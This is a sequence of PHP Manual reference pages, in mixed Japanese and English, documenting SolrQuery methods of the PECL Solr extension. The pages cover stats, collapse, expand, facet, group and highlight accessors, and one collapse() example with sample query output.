  • ≪ SolrQuery::addSortField
  • SolrQuery::addStatsField ≫
  • PHP Manual
  • SolrQuery
  • Requests a return of sub results for values within the given facet

SolrQuery::addStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet

説明

public SolrQuery::addStatsFacet ( string $field ) : SolrQuery

Requests a return of sub results for values within the given facet. Maps to the stats.facet field

パラメータ

field

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to stats.field parameter

  • ≪ SolrQuery::addStatsFacet
  • SolrQuery::collapse ≫
  • PHP Manual
  • SolrQuery
  • Maps to stats.field parameter

SolrQuery::addStatsField

(PECL solr >= 0.9.2)

SolrQuery::addStatsField — Maps to stats.field parameter

説明

public SolrQuery::addStatsField ( string $field ) : SolrQuery

Maps to stats.field parameter This methods adds another stats.field parameter.

パラメータ

field

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Collapses the result set to a single document per group

  • ≪ SolrQuery::addStatsField
  • SolrQuery::__construct ≫
  • PHP Manual
  • SolrQuery
  • Collapses the result set to a single document per group

SolrQuery::collapse

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrQuery::collapse — Collapses the result set to a single document per group

説明

public SolrQuery::collapse ( SolrCollapseFunction $collapseFunction ) : SolrQuery

Collapses the result set to a single document per group before it forwards the result set to the rest of the search components.

So all downstream components (faceting, highlighting, etc...) will work with the collapsed result set.

パラメータ

collapseFunction

返り値

Returns the current SolrQuery object

例

例1 SolrQuery::collapse() example

<?php

include "bootstrap.php";

$options = array
(
        'hostname' => SOLR_SERVER_HOSTNAME,
        'login'    => SOLR_SERVER_USERNAME,
        'password' => SOLR_SERVER_PASSWORD,
        'port'     => SOLR_SERVER_PORT,
        'path'     => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$collapseFunction = new SolrCollapseFunction('manu_id_s');

$collapseFunction
->setSize(2)
->setNullPolicy(SolrCollapseFunction::NULLPOLICY_IGNORE);

$query
->collapse($collapseFunction)
->setRows(4);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [q] => *:*
                    [indent] => on
                    [fq] => {!collapse field=manu_id_s size=2 nullPolicy=ignore}
                    [rows] => 4
                    [version] => 2.2
                    [wt] => xml
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 14
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SP2514N
                            [name] => Array
                                (
                                    [0] => Samsung SpinPoint P120 SP2514N - hard drive - 250 GB - ATA-133
                                )

                            [manu] => Array
                                (
                                    [0] => Samsung Electronics Co. Ltd.
                                )

                            [manu_id_s] => samsung
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => 7200RPM, 8MB cache, IDE Ultra ATA-133
                                    [1] => NoiseGuard, SilentSeek technology, Fluid Dynamic Bearing (FDB) motor
                                )

                            [price] => Array
                                (
                                    [0] => 92
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [store] => Array
                                (
                                    [0] => 35.0752,-97.032
                                )

                            [_version_] => 1510294336412057600
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                    [2] => SolrObject Object
                        (
                            [id] => F8V7067-APL-KIT
                            [name] => Array
                                (
                                    [0] => Belkin Mobile Power Cord for iPod w/ Dock
                                )

                            [manu] => Array
                                (
                                    [0] => Belkin
                                )

                            [manu_id_s] => belkin
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => connector
                                )

                            [features] => Array
                                (
                                    [0] => car power adapter, white
                                )

                            [weight] => Array
                                (
                                    [0] => 4
                                )

                            [price] => Array
                                (
                                    [0] => 19.95
                                )

                            [popularity] => Array
                                (
                                    [0] => 1
                                )

                            [inStock] => Array
                                (
                                    [0] =>
                                )

                            [store] => Array
                                (
                                    [0] => 45.18014,-93.87741
                                )

                            [manufacturedate_dt] => 2005-08-01T16:30:25Z
                            [_version_] => 1510294336458194944
                        )

                    [3] => SolrObject Object
                        (
                            [id] => MA147LL/A
                            [name] => Array
                                (
                                    [0] => Apple 60 GB iPod with Video Playback Black
                                )

                            [manu] => Array
                                (
                                    [0] => Apple Computer Inc.
                                )

                            [manu_id_s] => apple
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => music
                                )

                            [features] => Array
                                (
                                    [0] => iTunes, Podcasts, Audiobooks
                                    [1] => Stores up to 15,000 songs, 25,000 photos, or 150 hours of video
                                    [2] => 2.5-inch, 320x240 color TFT LCD display with LED backlight
                                    [3] => Up to 20 hours of battery life
                                    [4] => Plays AAC, MP3, WAV, AIFF, Audible, Apple Lossless, H.264 video
                                    [5] => Notes, Calendar, Phone book, Hold button, Date display, Photo wallet, Built-in games, JPEG photo playback, Upgradeable firmware, USB 2.0 compatibility, Playback speed control, Rechargeable capability, Battery level indication
                                )

                            [includes] => Array
                                (
                                    [0] => earbud headphones, USB cable
                                )

                            [weight] => Array
                                (
                                    [0] => 5.5
                                )

                            [price] => Array
                                (
                                    [0] => 399
                                )

                            [popularity] => Array
                                (
                                    [0] => 10
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 37.7752,-100.0232
                                )

                            [manufacturedate_dt] => 2005-10-12T08:00:00Z
                            [_version_] => 1510294336562003968
                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrQuery::collapse
  • SolrQuery::__destruct ≫
  • PHP Manual
  • SolrQuery
  • コンストラクタ

SolrQuery::__construct

(PECL solr >= 0.9.2)

SolrQuery::__construct — コンストラクタ

説明

public SolrQuery::__construct ( string $q = ? )

コンストラクタ

パラメータ

q

任意の検索クエリ

返り値

ありません

エラー / 例外

無効なパラメータが渡されたときに SolrIllegalArgumentException が発生します。

変更履歴

バージョン | 説明
PECL solr 2.0.0 | q が無効な場合に SolrIllegalArgumentException が発生するようになりました。以前のバージョンではエラーになっていました。

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrQuery::__construct
  • SolrQuery::getExpand ≫
  • PHP Manual
  • SolrQuery
  • デストラクタ

SolrQuery::__destruct

(PECL solr >= 0.9.2)

SolrQuery::__destruct — デストラクタ

説明

public SolrQuery::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


Returns true if group expanding is enabled

  • ≪ SolrQuery::__destruct
  • SolrQuery::getExpandFilterQueries ≫
  • PHP Manual
  • SolrQuery
  • Returns true if group expanding is enabled

SolrQuery::getExpand

(PECL solr >= 2.2.0)

SolrQuery::getExpand — Returns true if group expanding is enabled

説明

public SolrQuery::getExpand ( ) : bool

Returns true if group expanding is enabled

User Contributed Notes

There are no user contributed notes for this page.


Returns the expand filter queries

  • ≪ SolrQuery::getExpand
  • SolrQuery::getExpandQuery ≫
  • PHP Manual
  • SolrQuery
  • Returns the expand filter queries

SolrQuery::getExpandFilterQueries

(PECL solr >= 2.2.0)

SolrQuery::getExpandFilterQueries — Returns the expand filter queries

説明

public SolrQuery::getExpandFilterQueries ( ) : array

Returns the expand filter queries

User Contributed Notes

There are no user contributed notes for this page.


Returns the expand query expand.q parameter

  • ≪ SolrQuery::getExpandFilterQueries
  • SolrQuery::getExpandRows ≫
  • PHP Manual
  • SolrQuery
  • Returns the expand query expand.q parameter

SolrQuery::getExpandQuery

(PECL solr >= 2.2.0)

SolrQuery::getExpandQuery — Returns the expand query expand.q parameter

説明

public SolrQuery::getExpandQuery ( ) : array

Returns the expand query expand.q parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns The number of rows to display in each group (expand.rows)

  • ≪ SolrQuery::getExpandQuery
  • SolrQuery::getExpandSortFields ≫
  • PHP Manual
  • SolrQuery
  • Returns The number of rows to display in each group (expand.rows)

SolrQuery::getExpandRows

(PECL solr >= 2.2.0)

SolrQuery::getExpandRows — Returns The number of rows to display in each group (expand.rows)

説明

public SolrQuery::getExpandRows ( ) : int

Returns The number of rows to display in each group (expand.rows)

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of fields

  • ≪ SolrQuery::getExpandRows
  • SolrQuery::getFacet ≫
  • PHP Manual
  • SolrQuery
  • Returns an array of fields

SolrQuery::getExpandSortFields

(PECL solr >= 2.2.0)

SolrQuery::getExpandSortFields — Returns an array of fields

説明

public SolrQuery::getExpandSortFields ( ) : array

Returns an array of fields

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet parameter

  • ≪ SolrQuery::getExpandSortFields
  • SolrQuery::getFacetDateEnd ≫
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet parameter

SolrQuery::getFacet

(PECL solr >= 0.9.2)

SolrQuery::getFacet — Returns the value of the facet parameter

説明

public SolrQuery::getFacet ( ) : bool

Returns the value of the facet parameter.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value for the facet.date.end parameter

  • ≪ SolrQuery::getFacet
  • SolrQuery::getFacetDateFields ≫
  • PHP Manual
  • SolrQuery
  • Returns the value for the facet.date.end parameter

SolrQuery::getFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter

説明

public SolrQuery::getFacetDateEnd ( string $field_override = ? ) : string

Returns the value for the facet.date.end parameter. This method accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet.date fields

  • ≪ SolrQuery::getFacetDateEnd
  • SolrQuery::getFacetDateGap ≫
  • PHP Manual
  • SolrQuery
  • Returns all the facet.date fields

SolrQuery::getFacetDateFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateFields — Returns all the facet.date fields

説明

public SolrQuery::getFacetDateFields ( ) : array

Returns all the facet.date fields

パラメータ

この関数にはパラメータはありません。

返り値

Returns all the facet.date fields as an array or null if none was set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.date.gap parameter

  • ≪ SolrQuery::getFacetDateFields
  • SolrQuery::getFacetDateHardEnd ≫
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.date.gap parameter

SolrQuery::getFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter

説明

public SolrQuery::getFacetDateGap ( string $field_override = ? ) : string

Returns the value of the facet.date.gap parameter. It accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.date.hardend parameter

  • ≪ SolrQuery::getFacetDateGap
  • SolrQuery::getFacetDateOther ≫
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.date.hardend parameter

SolrQuery::getFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter

説明

public SolrQuery::getFacetDateHardEnd ( string $field_override = ? ) : string

Returns the value of the facet.date.hardend parameter. Accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value for the facet.date.other parameter

  • ≪ SolrQuery::getFacetDateHardEnd
  • SolrQuery::getFacetDateStart ≫
  • PHP Manual
  • SolrQuery
  • Returns the value for the facet.date.other parameter

SolrQuery::getFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter

説明

public SolrQuery::getFacetDateOther ( string $field_override = ? ) : array

Returns the value for the facet.date.other parameter. This method accepts an optional field override.

パラメータ

field_override

The name of the field

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the lower bound for the first date range for all date faceting on this field

  • ≪ SolrQuery::getFacetDateOther
  • SolrQuery::getFacetFields ≫
  • PHP Manual
  • SolrQuery
  • Returns the lower bound for the first date range for all date faceting on this field

SolrQuery::getFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field

説明

public SolrQuery::getFacetDateStart ( string $field_override = ? ) : string

Returns the lower bound for the first date range for all date faceting on this field. Accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet fields

  • ≪ SolrQuery::getFacetDateStart
  • SolrQuery::getFacetLimit ≫
  • PHP Manual
  • SolrQuery
  • Returns all the facet fields

SolrQuery::getFacetFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetFields — Returns all the facet fields

説明

public SolrQuery::getFacetFields ( ) : array

Returns all the facet fields

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array of all the fields and null if none was set

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of constraint counts that should be returned for the facet fields

  • ≪ SolrQuery::getFacetFields
  • SolrQuery::getFacetMethod ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of constraint counts that should be returned for the facet fields

SolrQuery::getFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields

説明

public SolrQuery::getFacetLimit ( string $field_override = ? ) : int

Returns the maximum number of constraint counts that should be returned for the facet fields. This method accepts an optional field override

パラメータ

field_override

The name of the field to override for

返り値

Returns an integer on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.method parameter

  • ≪ SolrQuery::getFacetLimit
  • SolrQuery::getFacetMinCount ≫
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.method parameter

SolrQuery::getFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::getFacetMethod — Returns the value of the facet.method parameter

説明

public SolrQuery::getFacetMethod ( string $field_override = ? ) : string

Returns the value of the facet.method parameter. This accepts an optional field override.

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum counts for facet fields should be included in the response

  • ≪ SolrQuery::getFacetMethod
  • SolrQuery::getFacetMissing ≫
  • PHP Manual
  • SolrQuery
  • Returns the minimum counts for facet fields should be included in the response

SolrQuery::getFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response

説明

public SolrQuery::getFacetMinCount ( string $field_override = ? ) : int

Returns the minimum counts for facet fields should be included in the response. It accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns an integer on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the current state of the facet.missing parameter

  • ≪ SolrQuery::getFacetMinCount
  • SolrQuery::getFacetOffset ≫
  • PHP Manual
  • SolrQuery
  • Returns the current state of the facet.missing parameter

SolrQuery::getFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter

説明

public SolrQuery::getFacetMissing ( string $field_override = ? ) : bool

Returns the current state of the facet.missing parameter. This accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns a boolean on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns an offset into the list of constraints to be used for pagination

  • ≪ SolrQuery::getFacetMissing
  • SolrQuery::getFacetPrefix ≫
  • PHP Manual
  • SolrQuery
  • Returns an offset into the list of constraints to be used for pagination

SolrQuery::getFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination

説明

public SolrQuery::getFacetOffset ( string $field_override = ? ) : int

Returns an offset into the list of constraints to be used for pagination. Accepts an optional field override

パラメータ

field_override

The name of the field to override for.

返り値

Returns an integer on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the facet prefix

  • ≪ SolrQuery::getFacetOffset
  • SolrQuery::getFacetQueries ≫
  • PHP Manual
  • SolrQuery
  • Returns the facet prefix

SolrQuery::getFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::getFacetPrefix — Returns the facet prefix

説明

public SolrQuery::getFacetPrefix ( string $field_override = ? ) : string

Returns the facet prefix

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet queries

  • ≪ SolrQuery::getFacetPrefix
  • SolrQuery::getFacetSort ≫
  • PHP Manual
  • SolrQuery
  • Returns all the facet queries

SolrQuery::getFacetQueries

(PECL solr >= 0.9.2)

SolrQuery::getFacetQueries — Returns all the facet queries

説明

public SolrQuery::getFacetQueries ( ) : array

Returns all the facet queries

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the facet sort type

  • ≪ SolrQuery::getFacetQueries
  • SolrQuery::getFields ≫
  • PHP Manual
  • SolrQuery
  • Returns the facet sort type

SolrQuery::getFacetSort

(PECL solr >= 0.9.2)

SolrQuery::getFacetSort — Returns the facet sort type

説明

public SolrQuery::getFacetSort ( string $field_override = ? ) : int

Returns an integer (SolrQuery::FACET_SORT_INDEX or SolrQuery::FACET_SORT_COUNT)

パラメータ

field_override

The name of the field

返り値

Returns an integer (SolrQuery::FACET_SORT_INDEX or SolrQuery::FACET_SORT_COUNT) on success or null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the list of fields that will be returned in the response

  • ≪ SolrQuery::getFacetSort
  • SolrQuery::getFilterQueries ≫
  • PHP Manual
  • SolrQuery
  • Returns the list of fields that will be returned in the response

SolrQuery::getFields

(PECL solr >= 0.9.2)

SolrQuery::getFields — Returns the list of fields that will be returned in the response

説明

public SolrQuery::getFields ( ) : array

Returns the list of fields that will be returned in the response

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of filter queries

  • ≪ SolrQuery::getFields
  • SolrQuery::getGroup ≫
  • PHP Manual
  • SolrQuery
  • Returns an array of filter queries

SolrQuery::getFilterQueries

(PECL solr >= 0.9.2)

SolrQuery::getFilterQueries — Returns an array of filter queries

説明

public SolrQuery::getFilterQueries ( ) : array

Returns an array of filter queries. These are queries that can be used to restrict the super set of documents that can be returned, without influencing score

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns true if grouping is enabled

  • ≪ SolrQuery::getFilterQueries
  • SolrQuery::getGroupCachePercent ≫
  • PHP Manual
  • SolrQuery
  • Returns true if grouping is enabled

SolrQuery::getGroup

(PECL solr >= 2.2.0)

SolrQuery::getGroup — Returns true if grouping is enabled

説明

public SolrQuery::getGroup ( ) : bool

Returns true if grouping is enabled

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)

User Contributed Notes

There are no user contributed notes for this page.


Returns group cache percent value

  • ≪ SolrQuery::getGroup
  • SolrQuery::getGroupFacet ≫
  • PHP Manual
  • SolrQuery
  • Returns group cache percent value

SolrQuery::getGroupCachePercent

(PECL solr >= 2.2.0)

SolrQuery::getGroupCachePercent — Returns group cache percent value

説明

public SolrQuery::getGroupCachePercent ( ) : int

Returns group cache percent value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.facet parameter value

  • ≪ SolrQuery::getGroupCachePercent
  • SolrQuery::getGroupFields ≫
  • PHP Manual
  • SolrQuery
  • Returns the group.facet parameter value

SolrQuery::getGroupFacet

(PECL solr >= 2.2.0)

SolrQuery::getGroupFacet — Returns the group.facet parameter value

説明

public SolrQuery::getGroupFacet ( ) : bool

Returns the group.facet parameter value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroupFacet() - Sets group.facet parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns group fields (group.field parameter values)

  • ≪ SolrQuery::getGroupFacet
  • SolrQuery::getGroupFormat ≫
  • PHP Manual
  • SolrQuery
  • Returns group fields (group.field parameter values)

SolrQuery::getGroupFields

(PECL solr >= 2.2.0)

SolrQuery::getGroupFields — Returns group fields (group.field parameter values)

説明

public SolrQuery::getGroupFields ( ) : array

Returns group fields (group.field parameter values)

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::addGroupField() - Add a field to be used to group results

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.format value

  • ≪ SolrQuery::getGroupFields
  • SolrQuery::getGroupFunctions ≫
  • PHP Manual
  • SolrQuery
  • Returns the group.format value

SolrQuery::getGroupFormat

(PECL solr >= 2.2.0)

SolrQuery::getGroupFormat — Returns the group.format value

説明

public SolrQuery::getGroupFormat ( ) : string

Returns the group.format value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)

User Contributed Notes

There are no user contributed notes for this page.


Returns group functions (group.func parameter values)

  • ≪ SolrQuery::getGroupFormat
  • SolrQuery::getGroupLimit ≫
  • PHP Manual
  • SolrQuery
  • Returns group functions (group.func parameter values)

SolrQuery::getGroupFunctions

(PECL solr >= 2.2.0)

SolrQuery::getGroupFunctions — Returns group functions (group.func parameter values)

説明

public SolrQuery::getGroupFunctions ( ) : array

Returns group functions (group.func parameter values)

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.limit value

  • ≪ SolrQuery::getGroupFunctions
  • SolrQuery::getGroupMain ≫
  • PHP Manual
  • SolrQuery
  • Returns the group.limit value

SolrQuery::getGroupLimit

(PECL solr >= 2.2.0)

SolrQuery::getGroupLimit — Returns the group.limit value

説明

public SolrQuery::getGroupLimit ( ) : int

Returns the group.limit value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.main value

  • ≪ SolrQuery::getGroupLimit
  • SolrQuery::getGroupNGroups ≫
  • PHP Manual
  • SolrQuery
  • Returns the group.main value

SolrQuery::getGroupMain

(PECL solr >= 2.2.0)

SolrQuery::getGroupMain — Returns the group.main value

説明

public SolrQuery::getGroupMain ( ) : bool

Returns the group.main value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.ngroups value

  • ≪ SolrQuery::getGroupMain
  • SolrQuery::getGroupOffset ≫
  • PHP Manual
  • SolrQuery
  • Returns the group.ngroups value

SolrQuery::getGroupNGroups

(PECL solr >= 2.2.0)

SolrQuery::getGroupNGroups — Returns the group.ngroups value

説明

public SolrQuery::getGroupNGroups ( ) : bool

Returns the group.ngroups value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.offset value

  • ≪ SolrQuery::getGroupNGroups
  • SolrQuery::getGroupQueries ≫
  • PHP Manual
  • SolrQuery
  • Returns the group.offset value

SolrQuery::getGroupOffset

(PECL solr >= 2.2.0)

SolrQuery::getGroupOffset — Returns the group.offset value

説明

public SolrQuery::getGroupOffset ( ) : int

Returns the group.offset value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroupOffset() - Sets the group.offset parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns all the group.query parameter values

  • ≪ SolrQuery::getGroupOffset
  • SolrQuery::getGroupSortFields ≫
  • PHP Manual
  • SolrQuery
  • Returns all the group.query parameter values

SolrQuery::getGroupQueries

(PECL solr >= 2.2.0)

SolrQuery::getGroupQueries — Returns all the group.query parameter values

説明

public SolrQuery::getGroupQueries ( ) : array

Returns all the group.query parameter values

パラメータ

この関数にはパラメータはありません。

返り値

array

参考

  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.sort value

  • ≪ SolrQuery::getGroupQueries
  • SolrQuery::getGroupTruncate ≫
  • PHP Manual
  • SolrQuery
  • Returns the group.sort value

SolrQuery::getGroupSortFields

(PECL solr >= 2.2.0)

SolrQuery::getGroupSortFields — Returns the group.sort value

説明

public SolrQuery::getGroupSortFields ( ) : array

Returns the group.sort value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.truncate value

  • ≪ SolrQuery::getGroupSortFields
  • SolrQuery::getHighlight ≫
  • PHP Manual
  • SolrQuery
  • Returns the group.truncate value

SolrQuery::getGroupTruncate

(PECL solr >= 2.2.0)

SolrQuery::getGroupTruncate — Returns the group.truncate value

説明

public SolrQuery::getGroupTruncate ( ) : bool

Returns the group.truncate value

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query

User Contributed Notes

There are no user contributed notes for this page.


Returns the state of the hl parameter

  • ≪ SolrQuery::getGroupTruncate
  • SolrQuery::getHighlightAlternateField ≫
  • PHP Manual
  • SolrQuery
  • Returns the state of the hl parameter

SolrQuery::getHighlight

(PECL solr >= 0.9.2)

SolrQuery::getHighlight — Returns the state of the hl parameter

説明

public SolrQuery::getHighlight ( ) : bool

Returns a boolean indicating whether or not to enable highlighted snippets to be generated in the query response.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the highlight field to use as backup or default

  • ≪ SolrQuery::getHighlight
  • SolrQuery::getHighlightFields ≫
  • PHP Manual
  • SolrQuery
  • Returns the highlight field to use as backup or default

SolrQuery::getHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default

説明

public SolrQuery::getHighlightAlternateField ( string $field_override = ? ) : string

Returns the highlight field to use as backup or default. It accepts an optional override.

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the fields that Solr should generate highlighted snippets for

  • ≪ SolrQuery::getHighlightAlternateField
  • SolrQuery::getHighlightFormatter ≫
  • PHP Manual
  • SolrQuery
  • Returns all the fields that Solr should generate highlighted snippets for

SolrQuery::getHighlightFields

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for

説明

public SolrQuery::getHighlightFields ( ) : array

Returns all the fields that Solr should generate highlighted snippets for

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the formatter for the highlighted output

  • ≪ SolrQuery::getHighlightFields
  • SolrQuery::getHighlightFragmenter ≫
  • PHP Manual
  • SolrQuery
  • Returns the formatter for the highlighted output

SolrQuery::getHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output

説明

public SolrQuery::getHighlightFormatter ( string $field_override = ? ) : string

Returns the formatter for the highlighted output

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text snippet generator for highlighted text

  • ≪ SolrQuery::getHighlightFormatter
  • SolrQuery::getHighlightFragsize ≫
  • PHP Manual
  • SolrQuery
  • Returns the text snippet generator for highlighted text

SolrQuery::getHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text

説明

public SolrQuery::getHighlightFragmenter ( string $field_override = ? ) : string

Returns the text snippet generator for highlighted text. Accepts an optional field override.

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of characters of fragments to consider for highlighting

  • ≪ SolrQuery::getHighlightFragmenter
  • SolrQuery::getHighlightHighlightMultiTerm ≫
  • PHP Manual
  • SolrQuery
  • Returns the number of characters of fragments to consider for highlighting

SolrQuery::getHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting

説明

public SolrQuery::getHighlightFragsize ( string $field_override = ? ) : int

Returns the number of characters of fragments to consider for highlighting. Zero implies no fragmenting. The entire field should be used.

パラメータ

field_override

The name of the field

返り値

Returns an integer on success or null if not set.

User Contributed Notes

There are no user contributed notes for this page.


